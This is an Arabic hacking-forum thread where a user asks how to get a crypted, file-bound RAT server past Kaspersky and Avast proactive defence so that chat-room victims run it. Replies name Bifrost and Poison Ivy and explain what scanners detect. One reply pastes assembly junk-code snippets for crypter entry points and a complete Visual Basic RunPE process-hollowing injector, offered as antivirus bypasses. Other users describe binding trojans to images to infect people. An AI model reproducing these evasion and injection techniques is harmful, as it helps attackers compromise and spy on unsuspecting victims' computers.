[ مشكلة ] مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

تم تحميل الصفحة في 1,7661436 ثانية
مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....
الحالة
مغلق و غير مفتوح للمزيد من الردود.

sab433

Beginner Developer
rank
إنضم
2 مايو 2009
المشاركات
72
الإعجابات
1
النقاط
0
السلام عليكم ورحمة الله وبركاته

أنا عندي سرفر مشفر من كل الحمايات

دمجته مع مقطع فيديو والنتيجة بامتداد تنفيذي طبعا وللأسف

لكن ليست هذه هي المشكلة

المشكلة أنني عندما أفتحها يفتح مقطع الفيديو بطريقة طبيعية لكن برنامج الحماية لدي - كاسبرسكي وأفاسات- يمنعون الباتش من العمل ويقولون أنه هناك برنامج يحاول أن يشتغل بطريقة خفية وووووو

يعني رغم كل المجهود في تشفير السرفر من كل الحمايات إلا أنني لا استطيع أن أفعل به شيء

ولقد حاولت أن أجربه في غرف الشات لكن النتيجة أن الكــــــل يقولون لي أن الملف مدموج لأن برامج الحماية تنبههم من أن هناك برنامج -وهو الباتش- يحاول الاشتغال بطريقة خفية وهو من خصائص التروخانات، فهل تلغيه أو تضمه للبرامج الموثوق به....

وطبعا الكل يلغيه....


فما هو الحل بالله عليكم

لقد جربت كل طرق الدمج
 
إنضم
2 أغسطس 2008
المشاركات
5,765
الإعجابات
303
النقاط
0
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

اول اشي الحمايه بتمسك الباتش لسببين

السبب الاول: برنامج الدمج او التشفير يشفر تشفير سطحي

بمعنى الباتش بيكون مشفر سطحي لما تعمل عليه سكان بيكون مشفر

ولكن لما تشغله بينفصل الباتش الاصلي الغير مشفر وبينزل في مجلد Temp مكشوف

السبب الثاني هو حقن السيرفر في المتصفح الافتراضي..

ازل اشاره الحقن لانه الدفاع الاستباقي بيصيد الحقن
 

sab433

Beginner Developer
rank
إنضم
2 مايو 2009
المشاركات
72
الإعجابات
1
النقاط
0
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

اول اشي الحمايه بتمسك الباتش لسببين

السبب الاول: برنامج الدمج او التشفير يشفر تشفير سطحي

بمعنى الباتش بيكون مشفر سطحي لما تعمل عليه سكان بيكون مشفر

ولكن لما تشغله بينفصل الباتش الاصلي الغير مشفر وبينزل في مجلد temp مكشوف

السبب الثاني هو حقن السيرفر في المتصفح الافتراضي..

ازل اشاره الحقن لانه الدفاع الاستباقي بيصيد الحقن

أولا أخي الفاضل، أنا أشكرك كثيرا على اهتمامك بالموضوع وعلى جوابك
بارك الله فيك ونفع بك


أما بالنسبة للتشفير فأنا أعرف ذلك النوع من التشفير السطحي، وأنا دائما أفحص السرفر قبل تشغيله ثم أفحص السرفر الناتج على تشغيله أي ذلك الذي نزل في ملف السستم مثلا... والنتيجة أن كـــــلاهما نظيييييييف تماما 0/40 clean

أما بالنسبة للحقن فأنا أوافقك الرأى ...

لكن بعد التجربة هذه هي النتيجة





دائما نفس النوع من التحذيـــــــــــــــــــر


أرجو منكم حلا لهذه المشكلة

وشكرا
 

walid_kouki

Active DeveloPer
rankrank
إنضم
2 فبراير 2009
المشاركات
390
الإعجابات
41
النقاط
28
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

أخي أضن أنك فعلت الحقن هذه ليست مكان الحقن

autostar هذه فعلها

والحقن هي الي على الجهة اليمنى القيمة في الأعلى الاولى هي تع الحقن نحي الصح من امامها راح ينقص حجم الباتش

هذا ماأقدر أفيدك
 

sab433

Beginner Developer
rank
إنضم
2 مايو 2009
المشاركات
72
الإعجابات
1
النقاط
0
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

شكرا أخي وليد على الجواب

لكن لحذف عملية الحقن يجب أن أن لا تفعّل خانة INJECTION وليس EXTENSION الخاصة بتمكين السرفر من تصوير بالكمرا والشل...


لكن كما هو واضح في الصور أنا لم أفعل لالالالالا خاصية الحقن ولالالالا خاصية الاشتغال التلقائي لأن كــــــــــــــلاهما مكشوفة ومرصودة ويتم التحذير منها من الكسبرسكي بسبب دفاعه الاستباقي PROACTIVE DEFENCE...

على الرغم من ذلك فالكسبرسكي وغيره يحذرون أن هناك ملف يريد أن يندمج في ملف آخر والمصــــــيبة أن كل من الملفين هما السرفر نفسه...
لاحظوا الأسماء على الصورة
127.exe و 127.exe وهو السرفر....

فما هو الحل

أين الخبرااااااااااااء

سبحان الله، ألم يصادف أي أحد منكم هذه المشكلة....
 
إنضم
2 أغسطس 2008
المشاركات
5,765
الإعجابات
303
النقاط
0
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

البيفروست استحاله يتخطى الدفاع الاستباقي

الا الشخص المتمكن في اختراق الاجهزه

اما البويزن بيتخطاه زي السلام عليكم
 

sab433

Beginner Developer
rank
إنضم
2 مايو 2009
المشاركات
72
الإعجابات
1
النقاط
0
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

البيفروست استحاله يتخطى الدفاع الاستباقي

الا الشخص المتمكن في اختراق الاجهزه

اما البويزن بيتخطاه زي السلام عليكم


شكرا أخي على ردك الواضح...


وهل نفس الشيء مع برامج التشفير...

فالكاسبرسكي بدفاعه الاستباقي يطلق تحذير مماثل لما في الصور أعلاه، حتى مع سرفر بويزن

أي أن سرفر البويزن قبل تشفيره يتجاوز الدفاع الاستباقي لكن بعد تشفيره لا يتجاوزه....

لقد جربت أكثر من برنامج تشفير كلها ليست مكشوفة وتشفيرها لــــــيـــــــس سطحي...

بعض التوضيحات من الخبراء من فضلكم... وسامحوني على كثرة أسئلتي... وبارك الله فيكم
 

sab433

Beginner Developer
rank
إنضم
2 مايو 2009
المشاركات
72
الإعجابات
1
النقاط
0
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

يا إخواننا بالله عليكم لا تبخلوا علينا بالجواب


كيف الحل مع الدفاع الاستبـــــــــــــــــــــــــــــــاقي ؟؟؟؟؟؟
 

aaaggg

Beginner Developer
rank
إنضم
2 سبتمبر 2007
المشاركات
29
الإعجابات
0
النقاط
0
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

اخوي انا شخصيا مااعرف لكن بحثتلك في النت ووجدة لك موضوع يتحدث عن كيفية تخطي الحمايه الاستباقيه بالاكواد

واهم مافي الموضوع انه لازم يكون عندك خلفيه برمجيه بالفيجوال بيسك

وبرنامج تشفير مفتوح المصدر واضافه عليه الكود


واليك الاكواد


add ebx,4
nop
nop
nop
nop
nop
nop
add edi,28
xor eax,eax
mov eax,ds:[ebx]
jmpنقطه الادخال
retn


----------------------

push 4
dec edi
add ebx,eax
xor eax,4C11DB7
sub cl,ds:[ebx]
inc ebx
jmp نقطه الادخال
retn

----------------------

push ebp
mov ebp,esp
xor edx,edx
mov ebp,10
mov ebp,ecx
movzx eax,al
nop
mov ecx,0
nop
nop
nop
nop
call نقطه الادخال
retn

----------------------

push ebx
nop
nop
inc dl
nop
mov al,dl
mov ah,3E
div cx
sub ax,99
nop
jmpنقطه الادخال
retn

----------------------

PUSH EDI
XOR ECX,ECX
MOV EAX,EDI
MOV EDX,4
MUL EDX
SETO CL
NEG ECX
CALL نقطه الادخال
ADD ESP,4
JE نقطه بدايه الاوامر
PUSH EBX
PUSH EBP
nop

----------------------

ADD AX,99
SUB AX,7
XOR AX,5
NOP
NOT AX
PUSHAD
ROR AX,4
NOP
NOP
CALL نقطه الادخال
RETN

----------------------

retn
retn
push ebp < نقطة الادخال الجديدة
mov ebp,esp
sub esp,8
push نقطة الادخال
push + اوفيست اول retn
mov eax,اوفست ثاني retn
jmp eax
nop

----------------------

add ax,99
sub ax,7
sub ax,8
sub ax,9
sub ax,10
xor ax,5
xor ax,6
xor ax,7
xor ax,8
xor ax,9
xor ax,10
push 0
nop
not ax
pushad
ror ax,4
ror ax,5
ror ax,6
ror ax,7
ror ax,8
nop
call نقطة الأدخال
pop edi
add esp,404
push ebx
retn

----------------------

كود دعس الافست ,, و الافيرا
بالنسبه للافيرا ليس للقيمه Gen

PUSH EDI
XOR ECX,ECX
MOV EAX,EDI
MOV EDX,4
MOV EDX,5
MOV EDX,6
MOV EDX,7
MOV EDX,8
MOV EDX,9
MOV EDX,10
MUL EDX
SETO CL
NEG ECX
CALL نقطة الأدخال
ADD ESP,4
ADD ESP,5
ADD ESP,6
ADD ESP,7
ADD ESP,8
ADD ESP,9
ADD ESP,10
JE نقطة بداية تطبيق الأوامر
PUSH EBX
PUSH EBP
nop

----------------------

ADD AX,99
ADD AX,100
ADD AX,101
SUB AX,7
SUB AX,8
SUB AX,9
SUB AX,10
XOR AX,5
XOR AX,6
XOR AX,7
XOR AX,8
XOR AX,9
XOR AX,10
nop
nop
nop
nop
NOP
NOT AX
PUSHAD
ROR AX,4
NOP
NOP
CALL نقطة الأدخال
RETN

كود تخطي الدفاع الاستباقيي للكاسبر لمحبي البرمجه :

PHP:
Public Function FuckingKaspersky(ByVal Expression As String, Optional ByVal Delimiter As String, Optional ByVal Limit As Long = -1) As String()
Dim lLastPos As Long
Dim lIncrement As Long
Dim lExpLen As Long
Dim lDelimLen As Long
Dim lUbound As Long
Dim svTemp() As String
lExpLen = Len(Expression)
If Delimiter = vbNullString Then Delimiter = " "
lDelimLen = Len(Delimiter)
If Limit = 0 Then GoTo QuitHere
If lExpLen = 0 Then GoTo QuitHere
If InStr(1, Expression, Delimiter, vbBinaryCompare) = 0 Then GoTo QuitHere
ReDim svTemp(0)
lLastPos = 1
lIncrement = 1
Do
If lUbound + 1 = Limit Then
svTemp(lUbound) = Mid$(Expression, lLastPos)
Exit Do
End If
lIncrement = InStr(lIncrement, Expression, Delimiter, vbBinaryCompare)
If lIncrement = 0 Then
If Not lLastPos = lExpLen Then
svTemp(lUbound) = Mid$(Expression, lLastPos)
End If
Exit Do
End If
svTemp(lUbound) = Mid$(Expression, lLastPos, lIncrement - lLastPos)
lUbound = lUbound + 1
ReDim Preserve svTemp(lUbound)
lLastPos = lIncrement + lDelimLen
lIncrement = lLastPos
Loop
ReDim Preserve svTemp(lUbound)
FuckingKaspersky = svTemp
Exit Function
QuitHere:
ReDim FuckingKaspersky(-1 To -1)
End Function
كود اخر للكاسبر :

PHP:
Dim Cryptet As String
Cryptet = strEncrypt(asm, Text5.Text)
Open cdl.FileName For Binary As #1
Put #1, , Cryptet & df
Put #1, , kav & df
 
 
If Check21.Value = 1 Then
Dim kav As String
kav = Check21.Value
End If
وكود تخطي الافيرا لكل القيم :

PHP:
Option Explicit
 
Private Const CONTEXT_FULL              As Long = &H10007
Private Const MAX_PATH                  As Integer = 260
Private Const CREATE_SUSPENDED          As Long = &H4
Private Const MEM_COMMIT                As Long = &H1000
Private Const MEM_RESERVE               As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE    As Long = &H40
 
 
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
 
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
 
Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
 
 
 
 
Private Type SECURITY_ATTRIBUTES
    nLength As Long
    lpSecurityDescriptor As Long
    bInheritHandle As Long
End Type
 
Private Type STARTUPINFO
    cb As Long
    lpReserved As Long
    lpDesktop As Long
    lpTitle As Long
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type
 
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessID As Long
    dwThreadID As Long
End Type
 
Private Type FLOATING_SAVE_AREA
    ControlWord As Long
    StatusWord As Long
    TagWord As Long
    ErrorOffset As Long
    ErrorSelector As Long
    DataOffset As Long
    DataSelector As Long
    RegisterArea(1 To 80) As Byte
    Cr0NpxState As Long
End Type
 
Private Type CONTEXT
    ContextFlags As Long
 
    Dr0 As Long
    Dr1 As Long
    Dr2 As Long
    Dr3 As Long
    Dr6 As Long
    Dr7 As Long
 
    FloatSave As FLOATING_SAVE_AREA
    SegGs As Long
    SegFs As Long
    SegEs As Long
    SegDs As Long
    Edi As Long
    Esi As Long
    Ebx As Long
    Edx As Long
    Ecx As Long
    Eax As Long
    Ebp As Long
    Eip As Long
    SegCs As Long
    EFlags As Long
    Esp As Long
    SegSs As Long
End Type
 
Private Type IMAGE_DOS_HEADER
    e_magic As Integer
    e_cblp As Integer
    e_cp As Integer
    e_crlc As Integer
    e_cparhdr As Integer
    e_minalloc As Integer
    e_maxalloc As Integer
    e_ss As Integer
    e_sp As Integer
    e_csum As Integer
    e_ip As Integer
    e_cs As Integer
    e_lfarlc As Integer
    e_ovno As Integer
    e_res(0 To 3) As Integer
    e_oemid As Integer
    e_oeminfo As Integer
    e_res2(0 To 9) As Integer
    e_lfanew As Long
End Type
 
Private Type IMAGE_FILE_HEADER
    Machine As Integer
    NumberOfSections As Integer
    TimeDateStamp As Long
    PointerToSymbolTable As Long
    NumberOfSymbols As Long
    SizeOfOptionalHeader As Integer
    characteristics As Integer
End Type
 
Private Type IMAGE_DATA_DIRECTORY
    VirtualAddress As Long
    Size As Long
End Type
 
Private Type IMAGE_OPTIONAL_HEADER
    Magic As Integer
    MajorLinkerVersion As Byte
    MinorLinkerVersion As Byte
    SizeOfCode As Long
    SizeOfInitializedData As Long
    SizeOfUnitializedData As Long
    AddressOfEntryPoint As Long
    BaseOfCode As Long
    BaseOfData As Long
    ' NT additional fields.
    ImageBase As Long
    SectionAlignment As Long
    FileAlignment As Long
    MajorOperatingSystemVersion As Integer
    MinorOperatingSystemVersion As Integer
    MajorImageVersion As Integer
    MinorImageVersion As Integer
    MajorSubsystemVersion As Integer
    MinorSubsystemVersion As Integer
    W32VersionValue As Long
    SizeOfImage As Long
    SizeOfHeaders As Long
    CheckSum As Long
    SubSystem As Integer
    DllCharacteristics As Integer
    SizeOfStackReserve As Long
    SizeOfStackCommit As Long
    SizeOfHeapReserve As Long
    SizeOfHeapCommit As Long
    LoaderFlags As Long
    NumberOfRvaAndSizes As Long
    DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type
 
Private Type IMAGE_NT_HEADERS
    Signature As Long
    FileHeader As IMAGE_FILE_HEADER
    OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type
 
Private Type IMAGE_SECTION_HEADER
    SecName As String * 8
    VirtualSize As Long
    VirtualAddress  As Long
    SizeOfRawData As Long
    PointerToRawData As Long
    PointerToRelocations As Long
    PointerToLinenumbers As Long
    NumberOfRelocations As Integer
    NumberOfLinenumbers As Integer
    characteristics  As Long
End Type
 
Sub Injekttt(ByVal sHost As String, ByRef bvBuff() As Byte)
    Dim i       As Long
    Dim Pidh    As IMAGE_DOS_HEADER
    Dim Pinh    As IMAGE_NT_HEADERS
    Dim Pish    As IMAGE_SECTION_HEADER
    Dim Si      As STARTUPINFO
    Dim Pi      As PROCESS_INFORMATION
    Dim Ctx     As CONTEXT
 
    Si.cb = Len(Si)
 
    RtlMoveMemory Pidh, bvBuff(0), 64
    RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248
 
    CreateProcessA sHost, vbNullString, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
    CalllApii "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
    CalllApii "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
    WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0
 
    For i = 0 To Pinh.FileHeader.NumberOfSections - 1
        RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
        WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
    Next i
 
    Ctx.ContextFlags = CONTEXT_FULL
    CalllApii "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
    WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
    Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
    CalllApii "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
    CalllApii "kernel32", "ResumeThread", Pi.hThread
End Sub
 
Public Function CalllApii(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
    Dim bvASM(64)   As Byte 'enought to hold code + 10 params
    Dim i           As Long
    Dim lPos        As Long
    Dim sVal        As String
 
    bvASM(0) = &H58: bvASM(1) = &H59: bvASM(2) = &H59
    bvASM(3) = &H59: bvASM(4) = &H59: bvASM(5) = &H50
 
    lPos = 6
 
    For i = UBound(Params) To 0 Step -1
        bvASM(lPos) = &H68: lPos = lPos + 1
        sVal = (Params(i)): GoSub PutLong: lPos = lPos + 4
    Next
 
    bvASM(lPos) = &HE8: lPos = lPos + 1
    sVal = GetProcAddress(LoadLibraryA(sLib), sMod) - VarPtr(bvASM(lPos)) - 4
    GoSub PutLong: lPos = lPos + 4
    bvASM(lPos) = &HC3
    CalllApii = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)
 
    Exit Function
PutLong:
    This is cheap replacement for RtlMoveMemory/putmem4 (hi/lo word/byte)
    sVal = Right$(String(8, "0") & Hex(sVal), 8)
    bvASM(lPos + 0) = ("&h" & Mid$(sVal, 7, 2))
    bvASM(lPos + 1) = ("&h" & Mid$(sVal, 5, 2))
    bvASM(lPos + 2) = ("&h" & Mid$(sVal, 3, 2))
    bvASM(lPos + 3) = ("&h" & Mid$(sVal, 1, 2))
    Return
End Function
 
Public Function Exexx() As String
    Dim lRet        As Long
    Dim bvBuff(255) As Byte
    lRet = CalllApii("kernel32", "GetModuleFileNameA", App.hInstance, VarPtr(bvBuff(0)), 256)
    Exexx = Left$(StrConv(bvBuff, vbUnicode), lRet)
End Function
اخيراا اخوي اعيد واكرر انا مافهم فيها هذي الاشياء لكن قلت خلني ابحث عن طرق تخطي الحمايه الاستباقيه

وهذا اللي طلع معاي

وانشاءالله انها تفيدك

تقبل مروري
 

sab433

Beginner Developer
rank
إنضم
2 مايو 2009
المشاركات
72
الإعجابات
1
النقاط
0
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

بارك الله فيك يا أخي وأصلح الله شأنك


يبدو أن الموضوع برايفت لذلك لم يجب سؤالي هذا ولالالالا واحد من الخبراء رغم إنه سؤال مهممم جدا، وإلا لن يتمكن أحد من اختراق جهاز فيه حماية ذات دفاع استباقي

!!!!!!!!!!!!!!!!!!!!!!
 
إنضم
2 يونيو 2009
المشاركات
132
الإعجابات
1
النقاط
0
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

نفس مشكلتي

لاكن اناااااااااااا اعمل دمج مع صوره

واضع تعطيل الكاسبر

لاكن لما ارسله ههههههههههههههه يرفض بالايميل انه غير آمن
 
إنضم
2 يونيو 2009
المشاركات
132
الإعجابات
1
النقاط
0
رد: مشكلة أحبطتني: كيف أتخطى الدفاع الاستباقي ....

على فكره انا مبتداء

ههههههههههههه بس اضحك على نفسي اخترق نفسي وناسه:29:
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل